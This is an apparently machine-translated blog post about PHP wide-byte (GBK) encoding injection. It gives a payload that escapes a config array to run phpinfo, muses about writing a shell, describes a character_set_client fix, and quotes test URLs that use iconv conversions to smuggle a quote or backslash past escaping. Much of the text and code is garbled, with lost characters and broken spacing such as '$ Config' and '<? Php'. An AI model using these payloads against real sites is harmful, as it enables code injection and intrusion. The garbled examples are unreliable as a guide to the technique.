Php's experiment on wide byte encoding

In the past, the wide byte still stayed on GET. Thanks to an article by toby57, I went into depth.

GPC Enabled

Submit:‍Response); phpinfo ();//

Conversion:‍Response); phpinfo ();//

<? Php

$ Config = array (response); phpinfo ();//);

?>

Php starts to process: D5 5C 27..., first handles the escape, no special function, becomes D5..., and starts to execute:‍Into..., single quotes are introduced, and phpinfo is executed.

Write shell if you are lucky? POST commit injection?

SET character_set_connection = $ dbcharset, character_set_results = $ dbcharset, character_set_client = binary

The first two statements prevent garbled characters, and the last one prevents wide-byte injection.

Toby57:

When character_set_client is GBK, special characters are introduced only when character_set_client is binary.

Iconv (GBK, UTF-8, $ _ GET [para]); // convert from GBK to UTF-8

Test. php? Para = a % e5 % 27

You can introduce chr (39) at the end, that is

$ Username = iconv (UTF-8, GBK, $ _ GET [para]); // convert from UTF-8 encoding to GBK

Test. php? Para = a % e9 % 8c % a6

You can introduce chr (92) at the end, that is